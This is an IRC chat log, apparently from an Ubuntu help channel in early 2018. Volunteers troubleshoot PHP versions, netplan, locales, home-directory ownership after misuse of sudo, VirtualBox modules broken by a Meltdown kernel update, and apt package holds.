[21:18] <rtyuipop^> no
[21:18] <nacc> rtyuipop^: then why do you insist on a version you don't unnderstannd?
[21:18] <zomaar_> Minelli: No clue what netplan is, but eth0:0 is more of an alias than a virtual interface though
[21:18] <nacc> rtyuipop^: 7.0.2 is the 2nd update release of 7.0. 7.0.22 is the *22nd* update release.
[21:19] <nacc> rtyuipop^: you are very unlikely to actually need 7.0.2
[21:19] <rtyuipop^> well i m trying to install magento
[21:19] <rtyuipop^> and it require the version php 7.0.2
[21:19] <Minelli> @zomaar Yes, exactly. But do you have any idea how to do it on the netplan?
[21:20] <nacc> rtyuipop^: where do you see this?
[21:20] <zomaar_> Minelli: You mean it won't "take" your interface?
[21:20] <nacc> rtyuipop^: if they actually require it, you shouldn't use magento. 7.0.2 has know security vulnerabilities.
[21:21] <zomaar_> Minelli: Under the hood, eth0:0 is still eth0
[21:21] <zomaar_> Minelli: iptables also chokes on eth0:0
[21:22] <rtyuipop^> here is what i find
[21:22] <rtyuipop^> http://devdocs.magento.com/guides/v2.1/install-gde/system-requirements-tech.html
[21:22] <Minelli> zomaar: I can not configure an interface with 2 IPs and 2 Gateways as I did before in ubuntu.
[21:22] <nacc> rtyuipop^: which says, 7.02, 7.0.4, 7.0.6-7.0.X
[21:22] <nacc> *7.0.2, sorry
[21:23] <zomaar_> What is netplan then?
[21:23] <rtyuipop^> yes that's what i said too
[21:23] <zomaar_> I have a system with 2 IPs and 2 Gateways using aliases, but it is Debian
[21:24] <nacc> rtyuipop^: ... you said you needed 7.0.2, then 7.0.4
[21:24] <nacc> rtyuipop^: which is not true.
[21:24] <zomaar_> And I use /etc/network/interfaces and require a secondary routing table
[21:24] <rtyuipop^> well when i do php --version
[21:24] <rtyuipop^> i got this
[21:24] <rtyuipop^> HP 7.0.22-0ubuntu<IP_ADDRESS> (cli) ( NTS )
[21:25] <nacc> rtyuipop^: what arenn't you understanding?
[21:25] <nacc> rtyuipop^: it says 7.0.6 - 7.0.x are supported
[21:25] <nacc> rtyuipop^: 7.0.22 is in that range.
[21:25] <rtyuipop^> is it good to install magento ?
[21:25] <nacc> alright i'm done
[21:25] <FDE1X0A2> lol
[21:25] <nacc> rtyuipop^: good luck to you
[21:25] <rtyuipop^> because
[21:25] <rtyuipop^> i got his error
[21:25] <rtyuipop^> https://pastebin.ubuntu.com/26362425/
[21:25] <zomaar_> Minelli: There was something about alias support being removed from ifconfig package?
[21:25] <rtyuipop^> when i m trying to install to the webpage
[21:26] <rtyuipop^> access
[21:26] <zomaar_> Minelli: isc-dhcp-client also chokes on aliases
[21:27] <xs2> does anyone know of like a little taskbar plugin outside of browser (like xfce panel plugins) that lets me launch firefox in deferent modes
[21:27] <xs2> does such a thing exist? if not, can I use something else to achieve the same thing?
[21:28] <masterkey_> out tap
[21:28] <jeffmr> Need a little help.
[21:28] <jeffmr> Installed ubuntu 16.04 ls and can't open gnome-terminal
[21:28] <zomaar_> xs2: You can just add custom applications to your menu right
[21:28] <jeffmr> same with chromium which I installed from ubuntu software center.
[21:28] <ph0b0s> so... 4.4.0-109 are there any hotpatches planned, I am on 16.04 on an L450 thinkpad and since I updated to 108 and 109 afterwards the system has gone crazy. It cannot display proper resolution on 2nd screen of the MST (intel gpu) and I have lost Qt window skins. Also when I have the mini dp plugged in, booting takes really long time
[21:28] <jeffmr> Anyone have any ideas?
[21:29] <FDE1X0A2> Anyone here knows how I can (actually) completely disable the microphone? Blacklisting snd_hda_intel through /etc/modprobe.d also disables output audio. Will muting is in volume settings suffice?
[21:29] <lysett> rtyuipop^: http://devdocs.magento.com/guides/v2.2/install-gde/system-requirements-tech.html#php
[21:29] <FDE1X0A2> it*
[21:30] <xs2> zomaar_: yea I'd need to figure out a way how to edit firefox config files
[21:32] <FDE1X0A2> xs2: what mode are you talking about? private?
[21:33] <zomaar_> FDE1X0A2: You could use PulseAudio to suspend the source
[21:33] <xs2> FDE1X0A2: like make your own custom mode, like say mode 1 is noscript enabled, traffic via vpn, forbid tracking ... mode 2 would be the opposite. that's just a dumb example
[21:33] <zomaar_> suspend-source SOURCE 1|0
[21:33] <zomaar_> FDE1X0A2: see man pactl
[21:34] <FDE1X0A2> zomaar_: can you elaborate?
[21:34] <zomaar_> No, see the man page
[21:34] <akik> xs2: if xfce uses the .desktop files, you'll find examples in /usr/share/applications
[21:34] <FDE1X0A2> xs2: Jesus christ, I've never heard of anyone doing that
[21:34] <FDE1X0A2> zomaar_: RTFM in practice.
[21:35] <zomaar_> Well I would just copy, so you might as well read the source
[21:35] <zteam> Hi, I have a very strange error, then trying to open any folder on the desktop by trying to doubleclick on them, any time I try to I get the error: cannot open folder on desktop, free desktop bus not ready, browsing the same folders, with nautilus, works fine however, I checked the permissions olf these folders as well, nothing strange there either, this is on Ubuntu 17.10, whats going on here?
[21:35] <Minelli> zomaar_ Ubuntu no longer uses / etc / network / interfaces new format and location /etc/netplan/xxxx.yaml
[21:35] <zomaar_> Minelli: Oh sorry, I had forgotten that
[21:36] <zomaar_> However isn't netplan an interface or wrapper to underlying technologies?
[21:36] <zomaar_> Is /etc/network/interfaces completely unavailable?
[21:36] <akik> zomaar_: no need to apologize, /etc/network/interfaces is still used in current versions
[21:37] <xs2> FDE1X0A2: maybe you're deaf
[21:37] <zomaar_> Or does netplan only support systemd-networkd and network-manager?
[21:38] <FDE1X0A2> xs2: ?
[21:40] <zomaar_> I heard talk before about alias support getting dropped from ifconfig as well, or maybe that was a bug
[21:41] <zomaar_> (I don't have much taste for netplan myself..., it only seems meant to support systemd-networkd?)
[21:42] <jeffmr> Anyone know how to set the locale to utf-8?
[21:42] <zomaar_> Minelli: In any case it is possible to set up your own devices yourself purely using the "ip" command
[21:43] <zomaar_> Minelli: You would need to write your own systemd service + script and it's actually quite easy
[21:45] <Minelli> zomaar_ I'm going to take the test. Thank
[21:45] <zomaar_> Minelli: type=oneshot && remainafterexit = yes
[21:46] <zomaar_> Minelli: also need to hook into network.target etc
[21:47] <zomaar_> Minelli: and provide network-online.target, maybe it is not so easy
[21:47] <Minelli> Thanks.
[21:51] <jeffmr> Well that was it for gnome-terminal.  I had to generate the locale for utf-8.
[21:52] <jeffmr> Chromium still not launching though.
[21:52] <akik> jeffmr: you can change the system locale in /etc/default/locale
[21:52] <zomaar_> jeffmr: You used dpkg-reconfigure locales right
[21:52] <jeffmr> no
[21:53] <zomaar_> Did your install fail in any way?
[21:53] <jeffmr> No, but it took a long time to do it.
[21:53] <zomaar_> Seems like you might be in for a ride
[21:54] <jeffmr> I did sudo local-gen en_US.UTF-8 and update-locale in the file you mentioned and restarted.
[21:54] <zomaar_> oh right
[21:54] <jeffmr> It also fixed my steam problem that was complaining of the same thing.
[21:56] <zomaar_> You had left before I could give you the dpkg-reconfigure command
[21:56] <jeffmr> What does that do.  For all programs or something?
[21:57] <zomaar_> No it just allows you to select the locales you want and then generates them
[21:57] <jeffmr> Too late to do it now?
[21:57] <zomaar_> also run dpkg --configure -a, just in case, but that probably won't help
[21:57] <zomaar_> No you can do it again
[21:59] <jeffmr> It looks like en_US.UTF-8 is already installed.
[21:59] <zomaar_> You just did that
[21:59] <jeffmr> Right.  What else would I want?
[21:59] <zomaar_> For a running system? Nothing
[21:59] <zomaar_> Not trying to make you do useless work
[21:59] <b00jum> i'm want to remap capslock to ctrl/esc using setxkbmap and xcape
[21:59] <b00jum> this is what i tried in terminal:
[21:59] <b00jum> setxkbmap -option 'caps:ctrl_modifier' && xcape -e 'Caps_Lock=Escape'
[22:00] <b00jum> but that does absolutely nothing. any idea what i might be doing wrong?
[22:00] <zomaar_> Well I guess there is the "C" locale but
[22:00] <jeffmr> zomaar_, what about chromium?  Any idea why that won't launch?
[22:00] <zomaar_> No that's not part of anything
[22:00] <zomaar_> You have console output?
[22:01] <jeffmr> Not sure how to get that : )
[22:01] <zomaar_> Open first a console, and then run "chromium-browser"
[22:01] <zomaar_> console == terminal
[22:01] <jeffmr> I see.
[22:02] <roses> I added ppa:canonical-kernel-team/pti. to therepos and now my kernel reads 4.13.0-25, but https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown shows that cloud images have been released. Does that affect me? Do I have to do something else?
[22:03] <jeffmr> zomaar_, I get this error https://pastebin.com/16rV23Pe
[22:03] <jeffmr> If I try to run it as sudo, it says that's not allowed.
[22:03] <zomaar_> jeffmr: It looks like you ran a root command in your home directory
[22:04] <zomaar_> jeffmr: run: sudo chown -R $USER:$USER ~
[22:04] <zomaar_> copy that
[22:04] <jeffmr> Yeah, I couldn't get chromium to install so I thought I needed root permissions so I launched the software center using sudo from the command line.
[22:04] <zomaar_> Yes you must use gksudo or kdesudo for that, sorry
[22:04] <jeffmr> Not right, huh?
[22:04] <jeffmr> Ok.
[22:05] <zomaar_> They should have fixed that
[22:05] <zomaar_> Long time ago
[22:05] <jeffmr> is USER my username?
[22:05] <zomaar_> gksudo = for unity/gnome
[22:05] <zomaar_> I wanted you to copy the exact command
[22:05] <zomaar_> $USER will translate to your username
[22:05] <jeffmr> Ok.
[22:05] <zomaar_> So you can also do   sudo chown -R jeff:jeff ~
[22:05] <zomaar_> If that would be it
[22:07] <jeffmr> Says permission denied, can't access /home/jeffmr/.gvfs
[22:07] <zomaar_> That's fine
[22:07] <zomaar_> Even root doesn't have access to that
[22:07] <zomaar_> Try again now
[22:07] <zomaar_> Chromium
[22:08] <jeffmr> Ok.
[22:08] <jeffmr> Hooray!
[22:08] <jeffmr> What did we do?
[22:09] <jeffmr> Change ownership of chromium to me?
[22:09] <zomaar_> We got back all the files to your user
[22:09] <jeffmr> Cool.
[22:09] <jeffmr> Thanks.
[22:09] <zomaar_> No of the configuration files of chromium in your home directory
[22:09] <zomaar_> chown = change ownership
[22:10] <zomaar_> -R = recursive, and ~ is your entire home directory
[22:10] <jeffmr> Right.  Would it be possible to use chmod 755 or is that something different?
[22:10] <zomaar_> So it's a fix-all solution that works every time if you were to use sudo again ;-)
[22:10] <jeffmr> Oh, ok.
[22:10] <jeffmr> Lol.
[22:11] <jeffmr> Ok.  I better write this down.
[22:11] <zomaar_> Chmod cannot distinguish between files and directories so it would become a mess
[22:11] <jeffmr> I see.
[22:11] <zomaar_> However
[22:12] <zomaar_> chmod -R +w ~ would also do the trick but that's not the solution
[22:12] <zomaar_> This would give write access to everyone on your system, including you
[22:12] <zomaar_> So don't do that
[22:12] <zomaar_> Not that it matters in principle, but it matters in principle
[22:13] <jeffmr> so ..sudo software-center text-edit..  jk  :
[22:13] <zomaar_> Try gksudo next time ;-)
[22:13] <jeffmr> I want to do it correctly.
[22:13] <jeffmr> Ok.
[22:14] <zomaar_> There are even more ways to choke this cat
[22:14] <anden> well thanks
[22:15] <zomaar_> setfacl -R -m u:jeff:rw ~ would also give your user access to everything
[22:15] <zomaar_> But I shouldn't be mentioning this
[22:16] <zomaar_> setfacl -R -m u:jeff:rwX ~ in fact
[22:16] <jeffmr> mmhmm.
[22:16] <zomaar_> But this is a different underlying permissions system that Linux also has
[22:17] <zomaar_> If you look at "vdir /dev/snd" you will see a + sign after all the permissions
[22:17] <jeffmr> Is it true that the nsa has access to google's users information?
[22:18] <zomaar_> It is safe to assume that they have deals with all the big organisations
[22:18] <jeffmr> For shame.
[22:18] <Zaliek> You can in fact set execute recursively on directories while not on files using chmod. chmod -R u=rwX,g=rX,o= foldername
[22:18] <zomaar_> Oh I never saw that
[22:18] <zomaar_> Thanks
[22:18] <zomaar_> Should have seen that...
[22:19] <jeffmr> Seen what?
[22:19] <zomaar_> No, I was always using complex find rules to set chmod for files and directories separaturely for some reason
[22:19] <Zaliek> it's okay, I had to do some digging
[22:20] <Zaliek> Everyone uses chmod 777 in tutorials
[22:20] <zomaar_> Even while being aware of the X flag (X means that you can enter a directory)
[22:20] <Zaliek> It takes longer to type but you don't have to math to know exactly what perms you're granting
[22:20] <zomaar_> This makes life a lot easier :)
[22:21] <zomaar_> And otherwise you can't separate directories and files
[22:21] <Zaliek> can also add in s for sticky if you need it
[22:22] <zomaar_> jeffmr: In any case the problem was not the permissions, but the ownership
[22:22] <zomaar_> jeffmr: Before we overwhelm you here
[22:22] <Zaliek> aye you really don't want to go recursively setting perms on your user directory
[22:23] <Zaliek> Changing the owner and group are safe thou
[22:23] <jeffmr> Don't worry.  I don't know the detail of what I did so I'm sure I won't go throwing commands around next time without checking.
[22:24] <sw0rdy> hi, bootloader installation failed during format
[22:26] <zomaar_> jeffmr: ~ is just a character that is the same as your home directory
[22:26] <zomaar_> In any filename, at least while you are in a terminal
[22:27] <zomaar_> So we referenced your home directory as the target of the command
[22:27] <zomaar_> That's all you need to know for now
[22:28] <zomaar_> sw0rdy: During format?
[22:28] <zomaar_> sw0rdy: It is normally installed somewhere at the end of the install
[22:29] <jeffmr> Thanks again zomaar_.  I know what ~ means.
[22:29] <zomaar_> jeffmr: If you use "gksudo" it will properly run as root in the graphical environment
[22:29] <jeffmr> Ok.
[22:29] <zomaar_> (and it would have created those files in "root"'s home directory instead)
[22:29] <Zaliek> You shouldn't need to run software center as root though
[22:30] <jeffmr> That's what I thought.  Maybe I just wasn't patient enough.
[22:30] <zomaar_> No, but next time you find the need
[22:30] <Zaliek> If you hit that bug where it doesn't ask you for the admin password when you try to install something, try restarting and trying again
[22:30] <zomaar_> For instance, you can run a file manager as root this way
[22:30] <nacc> zomaar_: that's is terrible advice.
[22:30] <nacc> zomaar_: running nautilus as root tends to make people's home directories unusable
[22:31] <zomaar_> not with gksudo nacc
[22:31] <jeffmr> brb
[22:31] <zomaar_> That's what gksudo is meant for
[22:31] <zomaar_> And kdesudo in KDE
[22:31] <nacc> zomaar_: you don't need to do that, nautilus understands how to elevate permissions
[22:31] <nacc> when you need to, that is
[22:32] <zomaar_> Okay, I didn't know that
[22:32] <zomaar_> But I run KDE
[22:32] <nacc> i can think of almost no case where someone actually needs to use a GUI to do filesystem manipulation as root
[22:32] <adman120> hey i keep getting exit code 127 when trying to run a mount but i dont know what to do next any ideas?
[22:32] <zomaar_> need is a big word, some people write tutorials that way
[22:33] <sw0rdy> zomaar_: where should it get installed /dev/sda1 or /dev/mapper/sda5_crpt ... its giving me options here... could this be a problem about legacy and uefi I believe the bios settings were set to legacy and I might've made the usb bootable in mbr/uefi
[22:33] <nacc> adman120: can you pastebinn the exact command and output?
[22:33] <adman120> yea
[22:33] <zomaar_> sw0rdy: /dev/sda
[22:33] <JonelethIrenicus> nacc: so uninstalling everything in the repo and reinstalling everything worked mostly
[22:33] <JonelethIrenicus> nacc: not sure if you remember i was trying to uninstall a software repo that wasn't from launchpad
[22:33] <fishcooker> http://vpaste.net/TBsUc on this dmesg the box after successfully reach sleep state it wakes up in seconds... don't know why
[22:34] <adman120> https://pastebin.com/KCQ8mjfU nacc
[22:34] <JonelethIrenicus> only problem is the nvidia drivers are building for my kernel
[22:34] <JonelethIrenicus> aren't*
[22:34] <nacc> adman120: ~ in a systemd unit file doesn't make any sense
[22:35] <nacc> adman120: that's at least one thing i see
[22:35] <adman120> ok
[22:35] <adman120> ill fix it
[22:35] <nacc> adman120: if you run the command as in the log, does it work?
[22:35] <adman120> ?
[22:35] <zomaar_> adman120: the file is in your own home directory right
[22:36] <zomaar_> on in root's?
[22:36] <adman120> mine
[22:36] <nacc> adman120: do you see line 26 in your paste?
[22:36] <nacc> adman120: that is the command that returned 127
[22:36] <nacc> adman120: does that command work?
[22:36] <iwsfutcmd> so i've got the strangest problem - ever since i upgraded to Artful, pressing SHFT+SPACE no longer types spaces, and when capslock is on, it's affecting the number keys as well as the letter keys. i'm pretty sure these things might be related. any idea why this might be happeneing?
[22:37] <zomaar_> adman120: He means if you run it as your user
[22:37] <nacc> zomaar_: i actually don't, as systemd does't run system services as your user
[22:37] <adman120> no it has different syntax when run as a command
[22:37] <zomaar_> Of course it can't run as root with the ~ in there
[22:37] <nacc> adman120: ?
[22:38] <nacc> zomaar_: right, i already told them to fix that
[22:38] <adman120> ie when run in term its rclone mount remote:dir remote:dir options
[22:39] <nacc> adman120: well, systemd is running the command as shown in line 26
[22:39] <nacc> adman120: i doubt systemd understands rclone, as i don't know what that is
[22:39] <zomaar_> adman120: He means you to run the command from the log, as root, with your ~ replaced by /home/$USER/ of your current user
[22:39] <fishcooker> what's the trigger that the suspend just take 2-3seconds than wakes up again http://vpaste.net/TBsUc
[22:40] <zomaar_> adman120: So /home/adman if that would be it
[22:40] <nacc> adman120: i feel like maybe you misundestood what the systemd.mount stuff does
[22:40] <adman120> im reading from a doc thats why im confused
[22:40] <nacc> adman120: they are for invoking `mount`
[22:40] <adman120> https://github.com/ncw/rclone/wiki/rclone-fstab-mount-helper-script
[22:42] <nacc> adman120: they both assume you have this rclonefs helper script
[22:42] <adman120> o im a dumbass arnt i
[22:43] <nacc> adman120: for further support, you should contact that upstream projject, it's not an ubuntu support topic, afaict
[22:43] <adman120> thank tho
[22:44] <zomaar_> fishcooker: There is usually not a lot you can do about systems not returning from sleep correctly but maybe I am wrong
[22:44] <zomaar_> fishcooker: Sometimes it can help to change the graphics driver (ie. use nVidia if you are using Nouveau)
[22:45] <marcisb> I have problem i dont know how to fix
[22:45] <marcisb> I cant click on desktop icons
[22:50] <zomaar_> marcisb: Also after reboot?
[22:59] <reirob> Hello
[23:00] <reirob> I just upgraded Ubuntu 16.04 to the latest patch (meltdown/spectre) and now cannot start virtualbox
[23:01] <reirob> It says to modprobe vboxdrv
[23:01] <reirob> but when I do this I get: modprobe: ERROR: could not insert 'vboxdrv': Invalid argumen
[23:02] <dnegreira> you need to recompile the modules for virtualbox
[23:02] <nacc> reirob: it should have happened via dkms, iirc
[23:02] <reirob> so what should I do?
[23:04] <brainwash> maybe reinstall vbox
[23:05] <zomaar_> reirob: I don't know what dpkg-reconfigure virtualbox would do
[23:05] <reirob> I have a ton of vms that I need for my work and I'm afraid to break something
[23:05] <reirob> zomaar_: I will try
[23:05] <dnegreira> sudo apt-get --reinstall install virtualbox-dkms
[23:06] <dnegreira> should do the trick
[23:06] <reirob> dnegreira: Trying it out right now
[23:06] <nacc> i would also be surprised if virtualbox didn't need an update, tbh
[23:06] <Zaliek> If you need to reinstall virtualbox then you can always re-add machines from the .vbox files
[23:06] <nacc> as the kernel changes are pretty invasive
[23:07] <reirob> nacc: But then the update of virtualbox should have come together with the kernel patch, or not?
[23:07] <reirob> I mean, I need the VMs for my work. I'd prefer the security update to not break the tools that I use
[23:07] <Zaliek> Virtualbox does not seem to be covered by the automatic updates
[23:08] <Zaliek> Usually I have to update it manually with apt
[23:08] <nacc> reirob: i didn't say it happened, i'm saying i wouldn't be surprised
[23:08] <nacc> reirob: did you look to see if the modules were rebuilt?
[23:08] <nacc> reirob: and did you look to see if the module exists or not and what the error was?
[23:08] <reirob> virtualbox-dkms just reinstalled
[23:09] <nacc> reirob: i mean, choosing to use an out of tree virt. driver is also a choice you made :)
[23:09] <reirob> nacc: do I have to reboot?
[23:09] <nacc> reirob: for what?
[23:09] <nacc> reirob: did you see it build updated drivers?
[23:10] <Zaliek> Unless you're jumping to a new major version of virtualbox updating it shouldn't cause any problems. You will have to install a new additions plugin and update the guest additions if installed
[23:10] <reirob> nacc: It said: DKMS: install completed. Processing triggers for shim-signed (1.32~16.04.1+0.9+1474479173.6c180c6-1ubuntu1)
[23:10] <Zaliek> Part of why it doesn't update manually
[23:10] <Zaliek> err *automatically
[23:11] <reirob> nacc: What is an out of tree virt. driver? I just installed virtualbox without any options iirc
[23:11] <nacc> Zaliek: i meant more that the kernel source is being changed and virtualbox has to build a driver compatible with those changes, easily can break
[23:11] <nacc> Zaliek: true of any dkms driver, to be clear
[23:11] <Zaliek> virtualbox has to modify the kernel to be able to work
[23:11] <Sveta> one'd wish these changes were backward compatible
[23:12] <nacc> reirob: virtualbox is not in the upstream Linux kernel, so it must be built manually (hence these dkms drivers)
[23:12] <nacc> Zaliek: uh, what?
[23:12] <nacc> Zaliek: it has its own modules, it doesn't modify the kernel itself, afaik
[23:12] <nacc> Sveta: lol
[23:12] <reirob> nacc: So, if I understand it correctly, reinstalling virtualbox-dkms did something for kernel 16.04.1, but uname -a says "4.13.0-26-generic"
[23:12] <nacc> reirob: that's not a kernel version (16.04.1) that's your OS version
[23:13] <nacc> reirob: which is out of date, if that's true :)
[23:13] <Zaliek> I meant that in a very general term (modules "modify" the kernel by adding functionality)
[23:13] <reirob> i see
[23:13] <nacc> *should* be 16.04.3, at least
[23:13] <nacc> Zaliek: modules extend the kernel sure, I think 'modify'ing the kernel would mean something rather different (speaking as a former kernel developer)
[23:13] <nacc> but regardless, back to reirob's issues
[23:14] <reirob> after reinstalling the virtualbox-dkms I get still the same problem
[23:14] <nacc> reirob: it's probably easier to debug if you pastebin the actual logs
[23:14] <Zaliek> Speaking of virtualbox... cannot for the life of me figure out how to change the mount options for shared directories when automounting in an ubuntu guest
[23:14] <sw0rdy> during the format/installation I was seeing A LOT of removing going around, like, "completely removing ubiquiti"...etc
[23:14] <zomaar_> sw0rdy: That's normal
[23:14] <sw0rdy> oh, I see.
[23:14] <reirob> now I ran "sudo modprobe vboxdrv" and it looks better :-)
[23:15] <sw0rdy> possibly missing firmware /lib/amdgpu or something similar <---
[23:15] <reirob> now virtualbox does not find vboxnet0
[23:15] <sw0rdy> is that ok too zomaar_ ^
[23:15] <reirob> :-(
[23:15] <zomaar_> sw0rdy: Not sure
[23:15] <reirob> lsmod vbox
[23:16] <zomaar_> sw0rdy: If your computer boots I would not worry for now
[23:16] <sw0rdy> cool
[23:16] <reirob> I will try to reboot now the computer
[23:16] <reirob> will be back
[23:17] <Zaliek> I added my user to vboxsf group and can browse the files in nautilis however I'm trying to open a file from it in LuckyLUKs and it gets a permission denied error
[23:18] <zomaar_> nacc: That previous user had already run sudo something, we had cleared his home directory (chmod), that is why I mentioned that gksudo was better next time
[23:18] <zomaar_> chown I mean
[23:19] <Zaliek> luckyLUKS should be running as root but it still can't access something owned by root :S
[23:19] <reirob_> Hello again
[23:20]  * Toadisattva jumps in mid conversation with no background at all
[23:20] <Toadisattva> but did you chmod 777?
[23:20] <zomaar_> chown
[23:20] <Toadisattva> that is correct
[23:20] <Toadisattva> lol
[23:20] <reirob_> So, my problem. After the recent ubuntu update, virtual box does not work again. I reinstalled virtualbox-dkms and rebooted. Now virtualbox does not complain, but CRASHES the laptop!?
[23:21] <reirob_> That's scary. I need virtualbox for my work. What should I do?
[23:21] <nacc> reirob: i'd ask about this  in #ubuntu-hardened
[23:21] <reirob_> ok
[23:21] <reirob_> thank you nacc
[23:21] <Zaliek> Toadisattva, doing chmod on the mount directory doesn't change anything
[23:21] <zomaar_> No actually we did setfacl -R u:$USER:rwX ~
[23:21] <zomaar_> lol
[23:22] <Zaliek> as in the permissions don't change
[23:22] <Zaliek> which I've never seen happen before
[23:22] <zomaar_> reirob_: Easiest is of course to revert to the older kernel
[23:22] <zomaar_> reirob_: And stop kernel updates
[23:22] <Zaliek> It's like virtualbox guest additions does some arcane magic
[23:23] <zomaar_> reirob_: Or boot the older kernel by default
[23:24] <Zaliek> sigh can't get it to work. guess I'll just use a usb drive instead to access files in the guest
[23:24] <reirob_> Thank you zoomaar_, I will try it
[23:24] <zomaar_> reirob_: If you want to see new updates arrive you can of course set the Grub default
[23:24] <reirob_> I am waiting if the people at ubuntu-hardened provide me some other tipps. But if it doesn't work, will go back to the older kernel
[23:25] <hggdh> reirob_: your best option is to first reboot to the previous kernel, and see if it works
[23:25] <reirob_> zomaar_: how do I change the default kernel to boot?
[23:26] <zomaar_> reirob_: grep "generic-advanced" /boot/grub/grub.cfg and look for the "advanced" string that has the kernel ID
[23:26] <zomaar_> Oh that only works for generic kernels of course
[23:27] <zomaar_> But anyway, this gives you an id you can give to /etc/default/grub in GRUB_DEFAULT=id
[23:27] <reirob_> thank you zomaar_  :-)
[23:27] <zomaar_> For instance, this can give "gnulinux-4.10.0-40-generic-advanced-/dev/sda1"
[23:28] <zomaar_> I believe that should work at least.
[23:30] <zomaar_> reirob_: After that you have to rerun update-grub
[23:31] <reirob_> zomaar_: I am trying if I get virtualbox working again. Rebooting. Will be back.
[23:34]  * dsaravanan when I reboot my system the following message is displayed
[23:34] <reirob> zomaar_: I am confused now. Tried 3 times to reboot, but I cannot get the grub menu showing. It just boots to the login screen without showing the boot menu
[23:35] <zomaar_> Maybe someone can tell you what key to press
[23:35] <hggdh> left shift key
[23:35] <reirob> But I know that sometimes it shows the boot menu, and in advanced menu item I can chose the older kernel
[23:35] <reirob> ok, thanks hggdh
[23:36] <reirob> Will try again. What a journey after an automatic os update
[23:36] <zomaar_> Yeah I ehm have automatic updates turned off ;-)
[23:36]  * dsaravanan kernel BUG at /build/linux-J4_IpC/linux-4.4.0 is the message
[23:38] <zomaar_> dsaravanan: try to boot older kernel
[23:38] <bulkior> if the sound doesn't work and the audio isn't showing in lspci, what does that mean?
[23:39] <zomaar_> bulkior: maybe the sound device is not enabled in alsamixer, or you have the wrong device selected, I don't know.
[23:39] <reirob_> Hi again. I am not able to make the grub menu appear on boot. tried now several times, holding left shift. :-O
[23:39] <reirob_> I am giving up for today. Sorry, I am falling almost asleep. Will try tomorrow.
[23:39] <zomaar_> And tab? I always rammed tab
[23:39] <Sveta> nini reirob_
[23:40] <zomaar_> Good night
[23:40] <sw0rdy> apt-get wanted to hold back kernel upgrading but update-manager is updating it after I opened it, is that okay?
[23:40] <reirob_> The last ubuntu update just spoiled my evening :-(
[23:40] <Sveta> sw0rdy what did apt say?
[23:40] <adman120> anyone know if its possible to display a fused directory over nfs
[23:40]  * dsaravanan zomaar: Thank you for the replay. Could you explain further as I am new to linux.
[23:40] <reirob_> I hope I get virtual box working tomorrow with the old kernel.
[23:41] <reirob_> I wish you all a nice evening. And thank you for all your swift advices. I made some progress.
[23:41] <zomaar_> yw
[23:41] <reirob_> Tomorro is another day.
[23:41] <zomaar_> hopefully
[23:41] <reirob_> You're great people :-)
[23:41] <reirob_> bye bye
[23:41] <sw0rdy> Sveta: only that kernel packages "have been kept back" and 3 libpoppler packages will be upgraded
[23:41] <zomaar_> dsaravanan: something went wrong and you must try to boot an older version of the main part of your system
[23:42] <zomaar_> dsaravanan: This part is available but you must use the GRUB boot menu to select it
[23:42] <zomaar_> Except that people can't get it opened...
[23:43]  * dsaravanan zomaar: Thank you zomaar.
[23:43] <zomaar_> dsaravanan: You must in the GRUB boot menu select "advanced" and then the 3rd line, basically
[23:43] <akik> for the love of ubuntu i can't understand why they hide it
[23:43] <adman120> anyone know if its possible to display a fused directory over nfs
[23:44] <akik> i always set it as visible after install
[23:44] <zomaar_> oh the menu
[23:44] <zomaar_> For some reason it always shows for me both on my multi-boot install and my single-boot debian
[23:45] <sw0rdy> Sveta
[23:45] <Sveta> sw0rdy: which ones is update-manager updating, the 3 libpoppler packages or the kernel packages?
[23:46] <sw0rdy> the kernel packages
[23:46] <sw0rdy> "ubuntu-base"
[23:46] <zomaar_> sw0rdy: apt holds them back because you did "upgrade"
[23:46] <zomaar_> sw0rdy: There is nothing wrong
[23:46] <sw0rdy> zomaar_: well "update" wouldn't do anything it just said "done" at the end like there are no kernel updates available
[23:47] <Sveta> sw0rdy: what apt-get command was this?
[23:47] <zomaar_> upgrade
[23:47] <sw0rdy> so was using the update-manager the only way to update the kernel
[23:47] <zomaar_> no, there is dist-upgrade
[23:47] <zomaar_> But it is fine that it is doing it
[23:47] <sw0rdy> oh ok
[23:47] <Sveta> sw0rdy: i'm not sure what you did, but https://askubuntu.com/questions/601/the-following-packages-have-been-kept-back-why-and-how-do-i-solve-it looks relevant
[23:47] <sw0rdy> so dist-upgrade would've done it via terminal zomaar_
[23:47] <zomaar_> yes
[23:47] <sw0rdy> cool
[23:47] <zomaar_> it does the held back packages
[23:48] <sw0rdy> thanks guys
[23:48] <zomaar_> this is to ensure that the potentially breaking stuff normally is not done automatically
[23:48] <zomaar_> but I guess it actually does happen automatically for some people...
[23:50] <michael2> what is the "potentially breaking stuff" ?
[23:50] <zomaar_> kernels
[23:50] <zomaar_> just as today
[23:51] <Guest21768> I have been trying to set up a crontab entry and cant figure out how to see if I made it properly.   What is the command to just list the entries for crontab?
[23:51] <akik> 4.13.0-26 broke nvidia driver on an older machine
[23:52] <michael2> cases where one package says "I want depency B version 1.1" and another package says "I want dependency B 1.2" but both dependencies cant co-exist - causing apt upgrade to essentially fall over?
[23:52] <Guest21768> "crontab l" did not work
[23:52] <nacc> Guest21768: crontab -l
[23:53] <Guest21768> thanks nacc  that worked !!! :-)
[23:53] <zomaar_> michael2: No not really
[23:54] <zomaar_> michael2: Just kernels, and for Debian 9 for instance, the upgrade to mariadb
[23:55] <michael2> zomaar_: so therefore if you did `apt-get update` only selecting non-kernel packages - there would be no need for `apt-get dist-upgrade`?
[23:55] <nacc> michael2: update doesn't do any installations
[23:56] <michael2> nacc: ah thank, s/update/upgrade/
[23:56] <zomaar_> michael2: But you can't "select" only non-kernel packages with upgrade
[23:56] <zomaar_> michael2: upgrade doesn't take a parameter
[23:56] <nacc> michael2: please read the manpages
[23:56] <nacc> michael2: it's not exactly what zomaar_ is describing, even if in effect it is
[23:56] <nacc> michael2: apt doesn't know what a kernel package is
[23:57] <zomaar_> michael2: The upgrade to mariadb from mysql for instance is potentially disruptive, so they let users do it on their own